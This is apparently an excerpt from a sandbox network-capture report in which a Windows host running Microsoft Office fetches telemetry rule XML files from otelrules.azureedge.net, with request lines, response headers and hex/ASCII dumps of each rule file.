2024-10-29 12:08:41 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 5739e3c9-901e-0016-14e5-28efe9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120841Z-r197bdfb6b42rt68rzg9338g1g00000007r00000000061a4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
132	192.168.2.5	60502	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:41 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:41 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 68df6217-401e-0029-6d9c-279b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120841Z-16849878b78p49s6zkwt11bbkn000000062000000000f84h x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:41 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
133	192.168.2.5	60503	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:41 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:41 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: 54290c1c-d01e-008e-01bf-27387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120841Z-15b8d89586fhl2qtatrz3vfkf00000000ckg000000008a29 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:41 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
134	192.168.2.5	60504	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:41 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:41 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:41 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: 6c5e14af-601e-0002-6c01-27a786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120841Z-17c5cb586f6w4mfs5xcmnrny6n000000086000000000643z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:41 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
135	192.168.2.5	60506	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:42 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:42 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: cf3e7330-401e-0078-5ca6-264d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120842Z-16849878b786lft2mu9uftf3y400000007tg000000005wc7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:42 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
136	192.168.2.5	60505	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:42 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:42 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: 60449bdf-301e-005d-500b-26e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120842Z-16849878b78g2m84h2v9sta29000000005dg0000000093wz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:42 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
137	192.168.2.5	60508	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:42 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:42 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 4b09b00a-d01e-0028-11e9-297896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120842Z-17c5cb586f6lxnvg801rcb3n8n00000006eg000000000tw3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:42 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
138	192.168.2.5	60507	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:42 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:42 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 338a3e6d-c01e-0079-709c-27e51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120842Z-16849878b78qwx7pmw9x5fub1c00000004gg00000000gh7m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:42 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
139	192.168.2.5	60509	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:42 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:42 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:42 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: 00d80357-401e-0048-04c7-270409000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120842Z-15b8d89586f6nn8zqg1h5suba800000001r000000000875z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:42 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.5	60510	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:43 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:43 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: a285717e-d01e-008e-03fa-28387a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120843Z-r197bdfb6b4bq7nf8dgr5rzeq400000001sg000000007pcm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 12:08:43 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProgrammableSurfaces" S="M

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.5	60511	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:43 UTC	192	OUT	GET /rules/rule702501v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:43 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 1415 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:57 GMT ETag: "0x8DC582BE7C66E85" x-ms-request-id: 6afd71f5-301e-003f-7d9e-26266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120843Z-16849878b78p8hrf1se7fucxk8000000079g00000000e7rn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 12:08:43 UTC	1415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 69 6c 69 74 79 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702501" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Programmability.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenan

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.5	60513	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 12:08:43 UTC	192	OUT	GET /rules/rule702500v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 12:08:43 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 12:08:43 GMT Content-Type: text/xml Content-Length: 1378 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:36 GMT ETag: "0x8DC582BDB813B3F" x-ms-request-id: c032846d-701e-005c-2d58-27bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T120843Z-16849878b78smng4k6nq15r6s4000000083g0000000025vg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
